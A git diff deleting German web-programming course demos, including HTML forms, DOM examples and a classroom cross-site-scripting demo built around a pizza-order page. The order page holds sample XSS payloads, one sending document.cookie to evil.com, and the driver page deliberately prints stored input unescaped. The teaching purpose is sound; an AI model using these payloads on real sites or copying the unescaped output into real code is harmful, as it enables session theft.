-		<li>Winterfreuden</li>
-		<li>Kultur</li>
-	</ul>
-</div>
-<div>
-	<span class="PlusMinus" onclick="AufZuKlappen(this);">-</span> Kontakt
-	<ul class="Unterpunkte" style="display:block;">
-		<li>schreiben</li>
-		<li>mailen</li>
-		<li>Prospekte anfordern</li>
-	</ul>
-</div>
-<div>
-	<img src="AufUndZuklappen.gif" alt="DOM-Teilbaum"/>
-</div>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/DOM/DOM_AuswahlHierarchie.html b/src/Demos/DOM/DOM_AuswahlHierarchie.html
deleted file mode 100644
index 225630709f07f2098a52924cc5d73f5b747c2cf7..0000000000000000000000000000000000000000
--- a/src/Demos/DOM/DOM_AuswahlHierarchie.html
+++ /dev/null
@@ -1,72 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-	<meta charset="UTF-8"/> <!-- äöüÄÖÜ߀-->
-	<title>Beispiel (b) für ECMAScript und DOM</title>
-	<style type="text/css">
-
-/* allgemeine Styles */
-		body { font-family:Arial, Helvetica, sans-serif; }
-		h1   { font-size:1.2em; }
-		h2   { font-size:1.2em; }
-		img  { margin-top:2em; width: 13.75em; height: 12.75em; }
-		p    { width:15em; line-height:1.5em; }
-		select { width:100%; }
-
-	</style>
-	<script type="text/javascript">
-
-		function Initialisierung() {
-			"use strict";
-			Vorauswahl("Landwahl", "Inselwahl");
-		}
-
-		let Inseln_Spanien = ["Ibiza", "Mallorca", "Teneriffa"];
-		let Inseln_Italien = ["Elba", "Sardinien"];
-		let Inseln_Griechenland = ["Korfu", "Kreta", "Rhodos", "Samos"];
-
-		function Vorauswahl(OberlisteID, UnterlisteID) {
-			"use strict";
-			let Oberliste = document.getElementById(OberlisteID);
-			let Unterliste = document.getElementById(UnterlisteID);
-			let Auswahl = Oberliste.options[Oberliste.selectedIndex].text;
-			let Inseln = eval("Inseln_" + Auswahl);
-
-			while (Unterliste.firstChild != null)
-				Unterliste.removeChild(Unterliste.firstChild);
-			for (let i = 0; i < Inseln.length; i++) {
-				let neuesElement = document.createElement("option");
-				let neuerText = document.createTextNode(Inseln[i]);
-				neuesElement.appendChild(neuerText);
-				Unterliste.appendChild(neuesElement);
-			}
-		}
-
-	</script>
-</head>
-<body onload="Initialisierung();">
-<h1>Beispiele für ECMAScript und DOM</h1>
-<h2>Auswahlhierarchie</h2>
-<form action="http://localhost/cgi-bin/echo.pl" method="post">
-	<p>
-		<label>Wählen Sie erst das Land...<br/>
-			<select name="Land" size="3" id="Landwahl"
-					onchange="Vorauswahl('Landwahl', 'Inselwahl');">
-				<option selected="selected">Spanien</option>
-				<option>Italien</option>
-				<option>Griechenland</option>
-			</select>
-		</label><br/>
-
-		<label>...und dann die Insel:<br/>
-			<select name="Insel" id="Inselwahl" size="4">
-				<option>&nbsp;</option>
-			</select>
-		</label><br/>
-	</p>
-</form>
-<div>
-	<img src="Auswahlhierarchie.gif" alt="DOM-Teilbaum"/>
-</div>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/HTML/Formular_CGI.html b/src/Demos/HTML/Formular_CGI.html
deleted file mode 100644
index 708df570ed4194d337e90836b4a99b0135bcd176..0000000000000000000000000000000000000000
--- a/src/Demos/HTML/Formular_CGI.html
+++ /dev/null
@@ -1,43 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<!-- UTF8 ohne BOM äöüß -->
-<head>
-    <meta charset="UTF-8"/>
-    <title>Tests für CGI</title>
-    <style>
-        form, div {
-            background-color: rgb(192, 192, 192);
-            padding: 1em;
-            margin: 2em;
-        }
-    </style>
-</head>
-<body>
-<h2>Tests für CGI</h2>
-<form action="http://localhost/my-cgi-bin/printenv.php" method="get" accept-charset="UTF-8">
-    <label>Text:<br>
-        <input maxlength="40" size="40" name="Text" value="Hallo dies ist ein Test">
-    </label><br/>
-    <label>Zeichen:<br>
-		<input maxlength="40" size="40" value="&[]" name="Zeichen"/>
-	</label><br/>
-    <input type="submit" value="absenden"> mit GET
-</form>
-
-<form action="http://localhost/my-cgi-bin/printenv.php" method="post" accept-charset="UTF-8">
-        <label>Text:<br>
-        <input maxlength="40" size="40" name="Text" value="Hallo dies ist ein Test">
-    </label><br/>
-    <label>Zeichen:<br>
-		<input maxlength="40" size="40" value="&[]" name="Zeichen"/>
-	</label><br/>
-    <p><input type="submit" value="absenden"> mit POST</p>
-</form>
-
-<div>
-<label>Radiobutton - ganz ohne Form<input type="radio" value="1" onclick="window.location.href='http://localhost/my-cgi-bin/printenv.php?piz=27&stat=f';"/>
-</label>
-</div>
-
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/HTML/Formular_GetPost.html b/src/Demos/HTML/Formular_GetPost.html
deleted file mode 100644
index 2cafde92c440a7ef8337e7397d036f8e763e8c38..0000000000000000000000000000000000000000
--- a/src/Demos/HTML/Formular_GetPost.html
+++ /dev/null
@@ -1,30 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>Testformular</title>
-    <style>
-        form {
-            background-color: rgb(192, 192, 192);
-            padding: 1em;
-            margin: 2em;
-        }
-    </style>
-</head>
-<body>
-<h2>Testformulare für PHP</h2>
-<form action="http://localhost/my-cgi-bin/echo.php" method="get" accept-charset="UTF-8">
-    <label>Name:<br>
-        <input maxlength="40" size="40" name="Name">
-    </label><br/>
-    <label>Text:<br><textarea name="Text" rows="2" cols="40"></textarea></label><br/>
-    <input type="submit" value="absenden"> mit GET
-</form>
-
-<form action="http://localhost/my-cgi-bin/echo.php" method="post" accept-charset="UTF-8">
-    <label>Name:<br><input maxlength="40" size="40" name="Name"></label><br/>
-    <label>Text:<br><textarea name="Text" rows="2" cols="40"></textarea></label>
-    <p><input type="submit" value="absenden"> mit POST</p>
-</form>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/HTML/Formulare.html b/src/Demos/HTML/Formulare.html
deleted file mode 100644
index 35190ab6994bce860e5c58fb1d2ccc388c388555..0000000000000000000000000000000000000000
--- a/src/Demos/HTML/Formulare.html
+++ /dev/null
@@ -1,112 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <script>
-        function GetOrPost() {
-            "use strict";
-            let mode;
-            if (document.getElementById('radioGet').checked) {
-                mode = "get";
-            } else {
-                mode = "post";
-            }
-            //alert(mode);
-            document.getElementById('myForm').setAttribute("method", mode);
-        }
-    </script>
-
-    <title>Steuerelemente für Formulare</title>
-    <style type="text/css">
-        <!--
-        label {
-            margin: 5pt;
-            font-size: small;
-            display: inline-block;
-        }
-
-        input[type=text], textarea, select {
-            font: normal 1em arial;
-            width: 15em;
-        }
-
-        fieldset {
-            float: left;
-            width: 15em;
-            display: block;
-        }
-
-        -->
-    </style>
-</head>
-
-<body>
-<h2>Steuerelemente für Formulare</h2>
-
-<hr/>
-
-<form onsubmit="GetOrPost()" id="myForm" accept-charset="UTF-8" action="http://localhost/my-cgi-bin/echo.php"
-      method="get">
-    <fieldset>
-        <legend>Bitte machen Sie Ihre Eingaben</legend>
-
-        <label>Einzeiliges Textfeld
-            <input type="text" name="T1" placeholder="Ihre Eingabe"/>
-        </label>
-
-        <label>Textfeld mit Scrollbalken
-            <textarea name="S1" placeholder="Viiiiiel Text" rows="3"></textarea>
-        </label>
-    </fieldset>
-
-    <fieldset>
-        <legend>Bitte wählen Sie aus</legend>
-
-        <label for="XXX">List-Box</label>
-        <select name="XXX" id="XXX" size="3" onchange="alert(this.form.XXX.options[this.form.XXX.selectedIndex].value)">
-            <option value="1" selected> 1. Möglichkeit</option>
-            <option value="2"> 2. Möglichkeit</option>
-            <option value="3"> 3. Möglichkeit</option>
-            <option value="4"> 4. Möglichkeit</option>
-        </select>
-
-        <label for="D1">Combo-Box</label>
-        <select name="D1" id="D1" size="1">
-            <option selected> 1. Möglichkeit</option>
-            <option> 2. Möglichkeit</option>
-            <option> 3. Möglichkeit</option>
-        </select>
-    </fieldset>
-
-    <fieldset>
-        <legend>Radiobuttons</legend>
-        <label>
-            <input type="radio" id="radioGet" checked name="R2" value="get"/>
-            Mit GET übertragen
-        </label>
-        <label>
-            <input type="radio" id="radioPost" name="R2" value="post"/>
-            Mit POST übertragen
-        </label>
-    </fieldset>
-
-    <fieldset>
-        <legend>Checkboxen</legend>
-        <label for="C1">Flag1
-            <input type="checkbox" checked id="C1" name="C1" value="ON"/>
-        </label>
-        <label for="C2">Flag2
-            <input type="checkbox" id="C2" name="C2"/>
-        </label>
-    </fieldset>
-
-    <fieldset>
-        <legend>Schaltflächen</legend>
-        <input type="submit" id="B1" name="B1" value="Abschicken"/>
-        <input type="reset" name="B2" value="Zurücksetzen"/>
-    </fieldset>
-
-
-</form>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/HTML/HTML5_Grundgeruest.html b/src/Demos/HTML/HTML5_Grundgeruest.html
deleted file mode 100644
index c3aaf5dc0fccbb7340b9540ef62d683f6ced92ec..0000000000000000000000000000000000000000
--- a/src/Demos/HTML/HTML5_Grundgeruest.html
+++ /dev/null
@@ -1,10 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>Text des Titels</title>
-</head>
-<body>
-<p>Eigentlicher Inhalt</p>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/HTML/bad-html.html b/src/Demos/HTML/bad-html.html
deleted file mode 100644
index 4028219ffdfd7664e6e7b372855624ef972505e2..0000000000000000000000000000000000000000
--- a/src/Demos/HTML/bad-html.html
+++ /dev/null
@@ -1,19 +0,0 @@
-<!DOCTYPE html>
-<html de>
-<head><meta charset="UTF-8"></head>
-<body>
-<h2>So bitte nicht</h2>
-<form action="http://localhost/my-cgi-bin/echo.php" get>
-    <select size="3">
-        <option value="1" selected> 1. Möglichkeit</option>
-        <option value="2"> 2. Möglichkeit</option>
-        <option value="3"> 3. Möglichkeit</option>
-        <option value="4"> 4. Möglichkeit</option>
-    </select>
-    <textarea name="glgl" value="leer"></textarea>
-    <input type="submit" value="Abschicken">
-    <input type="reset" value="Zurücksetzen"/>
-</form>
-<P>Was soll's, sieht doch ok aus ;-)
-</body>
-</html>
diff --git a/src/Demos/JS/JS_Class.html b/src/Demos/JS/JS_Class.html
deleted file mode 100644
index e9ac3712f728def0f20e291e0592210984f2d258..0000000000000000000000000000000000000000
--- a/src/Demos/JS/JS_Class.html
+++ /dev/null
@@ -1,42 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>Klassen in JS6</title>
-    <script>
-
-        "use strict";
-
-        class Bruch {
-            constructor(zaehler, nenner) {
-                this.z = zaehler;
-                this.n = nenner;
-            }
-
-            toString() {
-                return '(' + this.z + ' / ' + this.n + ')';
-            }
-
-            mal(faktor) {
-                return new Bruch(this.z * faktor.z, this.n * faktor.n);
-            }
-        }
-
-        function main() {
-            let x = new Bruch(3, 5);
-            let y = new Bruch(4, 7);
-
-            let m = x.mal(y);
-
-            document.write(x.toString());
-            document.write("*");
-            document.write(y.toString());
-            document.write("=");
-            document.write(m.toString());
-        }
-
-    </script>
-</head>
-<body id="body" onload="main();">
-</body>
-</html>
diff --git a/src/Demos/JS/JS_Quadrat.html b/src/Demos/JS/JS_Quadrat.html
deleted file mode 100644
index 5c34fe36fbac6d49d080851f41957ec29f2b5967..0000000000000000000000000000000000000000
--- a/src/Demos/JS/JS_Quadrat.html
+++ /dev/null
@@ -1,27 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>Sinn des Lebens</title>
-    <script>
-        /*jslint browser:true */
-        /*global alert */
-
-        let Hinweis = "Hurra! Quadratzahlen!";
-        alert(Hinweis);
-
-        function schreibeQuadrate() {
-            "use strict";
-            let i, x, SinnDesLebens, Satzteil;
-            SinnDesLebens = 42;
-            Satzteil = "Das Quadrat von ";
-            for (i = SinnDesLebens; i > 0; i = i - 1) {
-                x = i * i;
-                document.getElementById('text').innerText += Satzteil + i + " ist " + x + "\n";
-            }
-        }
-    </script>
-</head>
-<body onload="schreibeQuadrate();"><p id="text"></p>
-</body>
-</html>
diff --git a/src/Demos/JS/XSS_Demo/XSS_Demo_4Pages.php b/src/Demos/JS/XSS_Demo/XSS_Demo_4Pages.php
deleted file mode 100644
index 40b854ef5e113431c8bb28a1bf8064acdeaf372b..0000000000000000000000000000000000000000
--- a/src/Demos/JS/XSS_Demo/XSS_Demo_4Pages.php
+++ /dev/null
@@ -1,27 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-	<style>
-	.left {float: left; width:49%; height:100vh;}
-	.flexcontainer {
-		width:50%;	
-		display: flex;
-		flex-wrap:wrap;
-		justify-content: flex-start;
-	}
-	.flexitem {width:98%;height:33vh;}
-	
-	</style>
-    <meta charset="UTF-8"/>
-
-    <title>XSS-Demo</title>
-</head>
-<body>
-<iframe class="left" src="XSS_Demo_Order.php" title="Order"></iframe>
-<div class=flexcontainer>
-	<iframe class="flexitem" src="XSS_Demo_pdf_Wrapper.html" title="PDF"></iframe>
-	<iframe class="flexitem" src="XSS_Demo_Driver.php" title="Driver Secure"></iframe>
-	<iframe class="flexitem" src="XSS_Demo_Driver.php?Safe=1" title="Driver Insecure"></iframe>
-</div>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/JS/XSS_Demo/XSS_Demo_Driver.php b/src/Demos/JS/XSS_Demo/XSS_Demo_Driver.php
deleted file mode 100644
index 1adc1d739bb8fd155355fa4a70d7bf256db7d2c4..0000000000000000000000000000000000000000
--- a/src/Demos/JS/XSS_Demo/XSS_Demo_Driver.php
+++ /dev/null
@@ -1,126 +0,0 @@
-<?php // UTF-8 marker äöüÄÖÜ߀
-class XssDemoDriver
-{
-    protected MySQLi $database;
-		
-	protected bool $SafeMode;
-	protected string $PageTitle;
-
-    protected function __construct()
-    {
-		$this->SafeMode = false;
-		
-// activate full error checking
-        error_reporting(E_ALL);
-        $host = "localhost";
-        /********************************************/
-// This code switches from the the local installation (XAMPP) to the docker installation
-        if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-            $host = "mariadb";
-        }
-        $database = "XSS_Demo";
-        $user = "public";
-        $pwd = "public"; //NOSONAR ignore inline password for demo
-// open database
-        $this->database = new MySQLi($host, $user, $pwd, $database);
-// check connection to database
-        if ($this->database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->database->connect_errno);
-        }
-// set character encoding to UTF-8
-        if (!$this->database->set_charset("utf8")) {
-            throw new Exception("Fehler beim Laden des Zeichensatzes UTF-8: " . $this->database->error);
-        }
-    }
-
-    public static function main()
-    {
-        try {
-            $page = new XssDemoDriver();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-
-    protected function processReceivedData():void
-    {
-		// if this page is called with a get parameter - switch to secure mode
-		if (count($_GET)){
-			$this->SafeMode = true;
-			$this->PageTitle="MIT htmlspecialchars vor der Ausgabe";
-		} else {
-			$this->SafeMode = false;
-			$this->PageTitle="OHNE htmlspecialchars vor der Ausgabe";
-		}
-    }
-
-    protected function generateView():void
-    {
-        $data = $this->getViewData();
-		
-		//print_r ($data);
-
-        $nameUnmodified=$data["NameUnmodified"];
-        $nameHTMLSpecialChar=$data["NameHTMLSpecialChar"];
-        $addressUnmodified=$data["AddressUnmodified"];
-		
-		if ($this->SafeMode){
-			$nameUnmodified=htmlspecialchars($nameUnmodified);
-			$nameHTMLSpecialChar=htmlspecialchars($nameHTMLSpecialChar);
-			$addressUnmodified=htmlspecialchars($addressUnmodified);
-		}
-
-        echo <<<EOT
-<!DOCTYPE html>
-		<html lang="de">
-			<head>
-				<meta charset="UTF-8" />
-				<style>
-					img {width:100vw; }
-					h1 	{font: 1.2em Arial, sans-serif;}
-				</style>
-				<meta http-equiv="refresh" content="5" /> <!-- // NOSONAR ignore deprecated refresh -->
-				<title>XSS Attack</title>
-			</head>
-			<body>
-				<header>
-					<h1>Cross-Site-Scripting: $this->PageTitle</h1>
-				</header>
-				<img src="XSS_Demo_Driver_Header.jpg" width="60%"
-   					alt="Snapshot vom Pizzaservice. Sorry, Sie müssen die Praktikumsaufgabe selbst lösen!" />
-				<p>	{$nameUnmodified}, {$addressUnmodified}</p>					
-				<img src="XSS_Demo_Driver_Footer.jpg" width="60%"
-   					alt="Snapshot vom Pizzaservice. Sorry, Sie müssen die Praktikumsaufgabe selbst lösen!" />
-			</body>
-				</html>
-EOT;
-    }
-
-    protected function getViewData(): array
-    {
-        $sql = "SELECT * FROM attack";
-        $recordset = $this->database->query($sql);
-        if (!$recordset) {
-            throw new Exception("Abfrage fehlgeschlagen: " . $this->database->error);
-        }
-        $data = $recordset->fetch_assoc();
-        $recordset->free();
-
-        if ($data){
-            return $data;
-        }else{
-            return array();
-        }
-    }
-
-    public function __destruct()
-    {
-        $this->database->close();
-    }
-}
-
-XssDemoDriver::main();
-				
\ No newline at end of file
diff --git a/src/Demos/JS/XSS_Demo/XSS_Demo_Driver_Footer.jpg b/src/Demos/JS/XSS_Demo/XSS_Demo_Driver_Footer.jpg
deleted file mode 100644
index f80c785dda43841241910f9e152aeb4aa7792e13..0000000000000000000000000000000000000000
Binary files a/src/Demos/JS/XSS_Demo/XSS_Demo_Driver_Footer.jpg and /dev/null differ
diff --git a/src/Demos/JS/XSS_Demo/XSS_Demo_Driver_Header.jpg b/src/Demos/JS/XSS_Demo/XSS_Demo_Driver_Header.jpg
deleted file mode 100644
index d901222050488c631377b081a0c48a2bb7a375dc..0000000000000000000000000000000000000000
Binary files a/src/Demos/JS/XSS_Demo/XSS_Demo_Driver_Header.jpg and /dev/null differ
diff --git a/src/Demos/JS/XSS_Demo/XSS_Demo_Order.JPG b/src/Demos/JS/XSS_Demo/XSS_Demo_Order.JPG
deleted file mode 100644
index 29e31baae4ed9ff7d5400c028c3006b3a4f30e91..0000000000000000000000000000000000000000
Binary files a/src/Demos/JS/XSS_Demo/XSS_Demo_Order.JPG and /dev/null differ
diff --git a/src/Demos/JS/XSS_Demo/XSS_Demo_Order.php b/src/Demos/JS/XSS_Demo/XSS_Demo_Order.php
deleted file mode 100644
index ecb36443c353a1e545becc2b69de028077789a9a..0000000000000000000000000000000000000000
--- a/src/Demos/JS/XSS_Demo/XSS_Demo_Order.php
+++ /dev/null
@@ -1,166 +0,0 @@
-<?php // UTF-8 marker äöüÄÖÜ߀
-
-class XssDemo
-{
-	protected MySQLi $database;
-	protected string $address;
-	protected string $name;
-
-    protected function __construct()
-    {
-        // activate full error checking
-        error_reporting(E_ALL);
-
-		$host = "localhost";
-		/********************************************/
-		// This code switches from the the local installation (XAMPP) to the docker installation 
-		if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-			$host = "mariadb";
-		}
-		$database = "XSS_Demo";
-		$user = "public";
-		$pwd = "public"; //NOSONAR ignore inline password for demo
-
-        // open database
-        $this->database = new MySQLi($host, $user, $pwd, $database);
-        // check connection to database
-        if ($this->database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->database->connect_errno);
-        }
-        // set character encoding to UTF-8
-        if (!$this->database->set_charset("utf8")) {
-            throw new Exception("Fehler beim Laden des Zeichensatzes UTF-8: " . $this->database->error);
-        }
-				
-		$sql = "INSERT INTO `attack`(`NameUnmodified`, `NameHTMLSpecialChar`, `AddressUnmodified`) VALUES ('Dummy','HTML_Dummy','DummyAdress')";
-		$this->database->query($sql);
-    }
-
-    public function __destruct()
-    {
-        $this->database->close();
-    }
-	
-    
-    protected function generateView()
-    {
-        echo<<<EOT
-	<!DOCTYPE html>
-	<html lang="de">  
-	  <head>
-		<meta charset="UTF-8" />
-		<style>
-			img {width:100vw; }
-		</style>
-		<title>Cross-Site-Scripting</title>
-	  <script>
-		function fillInput(id,no){
-			let colorTest ="<script>document.getElementsByTagName(\"body\")[0].style.background = \"red\";<\/script>";
-			let address = "Hauptweg 8, Darmstadt";
-			let angriff = Array();
-			angriff[0] = address;
-			angriff[1] = "<iframe onload=\"alert('ich nerve gerne');\" src=\".\" width=\"0px\" height=\"0px\"><\/iframe>"+colorTest+address;
-			angriff[2] = "<img src=\"http:\/\/url.to.file.which\/not.exists\" onerror= \"alert(document.cookie);\" \/>"+colorTest;
-			angriff[3] = "<script>function x(){fetch('https:\/\/evil.com\/hack?id=' + document.cookie);}<\/script><iframe onload=\"x()\" src=\".\" width=\"0px\" height=\"0px\"\/>evil"+colorTest;
-			angriff[4] = colorTest + address;
-			document.getElementById(id).value=angriff[no];
-			document.getElementById(id).setAttribute("value",angriff[no]);
-		}
-	  </script>
-	  </head>
-	  <body >
-		<header><h1>Cross-Site-Scripting</h1></header>
-		
-	  <img src="XSS_Demo_Order.jpg" alt="Snapshot vom Pizzaservice. Sorry, Sie müssen die Praktikumsaufgabe selbst lösen!" />
-	  <form method="post" accept-charset="UTF-8" action="XSS_Demo_Order.php">
-	  <p>	  
-		<input name="name" id="name" type="text" size="20" value="Müller & Söhne" readonly/>		
-		<input name="address" id="address" type="text" placeholder="Ihre Straße" size="90" value=""/>
-		<input id="submit" type="submit" value="Bestellen"  />
-	  </p>
-		  </form>
-		  <fieldset>
-	  <legend>Beispiel-Eingaben (anklicken und mit dem Bestellknopf abschicken)</legend>
-	  <label>
-	  	<input type="button" value="Normale Eingabe" onclick="fillInput('address',0);" />
-		Eine normale Adresse wie es ein echter Kunde eingeben würde
-	  </label><br/>
-	  <label>
-	  	<input type="button" value="XSS-Test" onclick="fillInput('address',4);" />
-		Setzt die Hintergrundfarbe - wenn das übergebene Script-Tag ausgeführt wird, kann man jedes Skript ausführen
-	  </label><br/>
-	  <label>
-		<input type="button" value="Angriff 1" onclick="fillInput('address',1);" />
-		Man kann den Webseitenbetreiber mit Popups nerven
-	  </label><br/>
-	  <label>
-		<input type="button" value="Angriff 2" onclick="fillInput('address',2);" />
-		Man kann Cookies (und damit oft die SessionID) auslesen und als Popup anzeigen (oder auch ins Internet weiterleiten)
-	  </label><br/>
-	  <label>
-		<input type="button" value="Angriff 3" onclick="fillInput('address',3);" />
-		So sieht eine versteckte Weiterleitung aus. Erkennbar im Debugger unter "Netzwerk".
-		Wenn man Glück hat, sperrt der Browser diesen Angriff!
-	  </label><br/>
-	  </fieldset>
-<!--
-		<h2>Lesenswert:</h2>
-<a href="https://www.theserverside.com/news/1365146/Redirect-After-Post">Redirect after POST</a></br>
-<a href="https://en.wikipedia.org/wiki/Post/Redirect/Get">Post/Redirect/Get</a>
--->
-</body></html>
-EOT;
-    }
-
-    protected function processReceivedData()
-    {			
-        if (isset($_POST["address"])&& isset($_POST["name"])) {	
-			
-			//delete all entries from table
-			$sql = "DELETE FROM attack;";
-			$recordset = $this->database->query($sql);
-		    if (!$recordset) {
-				throw new Exception("Abfrage fehlgeschlagen: " . $this->database->error);
-			}			
-			
-			$this->name = $_POST["name"];	
-            $this->address = $_POST["address"];	
-			
-			// escape new entries
-			$HTMLname = $this->database->real_escape_string(htmlentities($this->name));	// All escape you can get!? No good!
-			$this->name = $this->database->real_escape_string($this->name);
-
-			$this->address = $this->database->real_escape_string($this->address);			
-
-			// insert new entry			
-			$sql = "INSERT INTO `attack`(`NameUnmodified`, `NameHTMLSpecialChar`, `AddressUnmodified`) VALUES ('$this->name','$HTMLname','$this->address')";
-
-			$recordset = $this->database->query($sql);
-			
-			if (!$recordset) {
-				throw new Exception("Abfrage fehlgeschlagen: " . $this->database->error);
-			}
-			
-			header("HTTP/1.1 303 See Other");
-			header("Location: XSS_Demo_Order.php");
-        }
-		
-    }
-
-
-    public static function main()
-    {
-        try {
-          session_start();
-            $page = new XssDemo();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-XssDemo::main();
diff --git a/src/Demos/JS/XSS_Demo/XSS_Demo_pdf.php b/src/Demos/JS/XSS_Demo/XSS_Demo_pdf.php
deleted file mode 100644
index efaa1621d955cebd0b136b0897f33d11317afc10..0000000000000000000000000000000000000000
--- a/src/Demos/JS/XSS_Demo/XSS_Demo_pdf.php
+++ /dev/null
@@ -1,101 +0,0 @@
-<?php // UTF-8 marker äöüÄÖÜ߀
-class XssDemoPdf
-{
-    protected MySQLi $database;
-
-    protected function __construct()
-    {
-// activate full error checking
-        error_reporting(E_ALL);
-        $host = "localhost";
-        /********************************************/
-// This code switches from the the local installation (XAMPP) to the docker installation
-        if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-            $host = "mariadb";
-        }
-        $database = "XSS_Demo";
-        $user = "public";
-        $pwd = "public"; //NOSONAR ignore inline password for demo
-// open database
-        $this->database = new MySQLi($host, $user, $pwd, $database);
-// check connection to database
-        if ($this->database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->database->connect_errno);
-        }
-// set character encoding to UTF-8
-        if (!$this->database->set_charset("utf8")) {
-            throw new Exception("Fehler beim Laden des Zeichensatzes UTF-8: " . $this->database->error);
-        }
-    }
-
-    public static function main()
-    {
-        try {
-            $page = new XssDemoPdf();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-
-    protected function processReceivedData():void
-    {
-    }
-
-    protected function generateView():void
-    {	
-        $data = $this->getViewData();
-
-        $NameEscaped="";
-        $addressUnmodified="";
-
-        if (count($data)){
-            $NameEscaped=$data["NameUnmodified"];
-            $addressUnmodified=$data["AddressUnmodified"];
-        }
-
-		$Text = "So sieht es aus, wenn man HTMLSpecialChars oder HTMLEntities VOR dem Speichern in die Datenbank aufruft und dann mit diesen Daten z.B. ein PDF-Dokument statt HTML erzeugt!";
-
-		require('../../PHP/fpdf/fpdf.php');
-
-		$pdf = new FPDF();
-		$pdf->AddPage();
-		$pdf->SetFont('Helvetica', 'B', 14);
-		$pdf->Cell(100, 10, $NameEscaped,0,1,'L');
-		
-		$pdf->SetFont('Helvetica', 'B', 12);
-		$pdf->Cell(100,10, $addressUnmodified,0, 1,'L');
-		
-		$pdf->SetFont('Helvetica', 'B', 10);	
-		$pdf->Cell(100, 20, "",0,1,'L');		
-		$pdf->MultiCell(180,8, $Text);
-		$pdf->Output();
-    }
-
-    protected function getViewData(): array
-    {
-        $sql = "SELECT * FROM attack";
-        $recordset = $this->database->query($sql);
-        if (!$recordset) {
-            throw new Exception("Abfrage fehlgeschlagen: " . $this->database->error);
-        }
-        $data = $recordset->fetch_assoc();
-        $recordset->free();
-
-        if ($data){
-            return $data;
-        }else{
-            return array();
-        }
-    }
-
-    public function __destruct()
-    {
-        $this->database->close();
-    }
-}
-
-XssDemoPdf::main();
-				
\ No newline at end of file
diff --git a/src/Demos/JS/XSS_Demo/XSS_Demo_pdf_Wrapper.html b/src/Demos/JS/XSS_Demo/XSS_Demo_pdf_Wrapper.html
deleted file mode 100644
index bccd3d8b7e5d98522aef11059817e3af5f6a0ed9..0000000000000000000000000000000000000000
--- a/src/Demos/JS/XSS_Demo/XSS_Demo_pdf_Wrapper.html
+++ /dev/null
@@ -1,19 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-	<!-- //NOSONAR --><meta http-equiv="refresh" content="5" />
-    <title>PDF-Demo</title>
-</head>
-<style>
-	html, body {
-		height: 100%;
-		margin: 0;         /* Reset default margin on the body element */
-	}
-</style>
-<body>
-    <object data="XSS_Demo_pdf.php" type="application/pdf" style="height:100%;width:100%">
-        <embed src="XSS_Demo_pdf.php" type="application/pdf" style="height:100vh;width:100%" height=100vh;width=100%/>
-    </object>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/PHP/Doxygen/_Readme.txt b/src/Demos/PHP/Doxygen/_Readme.txt
deleted file mode 100644
index 9d083f402c7f500c2e0c86709e750b189181c199..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Doxygen/_Readme.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-Erzeugung der RTF-Doku:
-
-In der Docker-Console:
-docker exec -it EWA_Apache bash -c "cd /var/www/html/Demos/PHP/Seitenklassen; doxygen ../Doxygen/_doxygenConfig.cfg; mv _generated/refman.rtf _generated/EWA_PageTemplates.rtf; cp -r _generated ../Doxygen; rm -rf ./_generated"
-
-Das RTF öffnen (!!! Am Anfang ist es optisch leer!!!)
-eventuell Seiten löschen
-komplett markieren und mit (mehrfach) F9 aktualisieren
-PDF exportieren
-Zu den Seitenklassen kopieren!
\ No newline at end of file
diff --git a/src/Demos/PHP/Doxygen/_doxygenConfig.cfg b/src/Demos/PHP/Doxygen/_doxygenConfig.cfg
deleted file mode 100644
index 9df008cd70f62a9fada5ea846fa7ce4df6a86e3b..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Doxygen/_doxygenConfig.cfg
+++ /dev/null
@@ -1,2489 +0,0 @@
-# Doxyfile 1.8.16
-
-# This file describes the settings to be used by the documentation system
-# doxygen (www.doxygen.org) for a project.
-#
-# All text after a double hash (##) is considered a comment and is placed in
-# front of the TAG it is preceding.
-#
-# All text after a single hash (#) is considered a comment and will be ignored.
-# The format is:
-# TAG = value [value, ...]
-# For lists, items can also be appended using:
-# TAG += value [value, ...]
-# Values that contain spaces should be placed between quotes (\" \").
-
-#---------------------------------------------------------------------------
-# Project related configuration options
-#---------------------------------------------------------------------------
-
-# This tag specifies the encoding used for all characters in the configuration
-# file that follow. The default is UTF-8 which is also the encoding used for all
-# text before the first occurrence of this tag. Doxygen uses libiconv (or the
-# iconv built into libc) for the transcoding. See
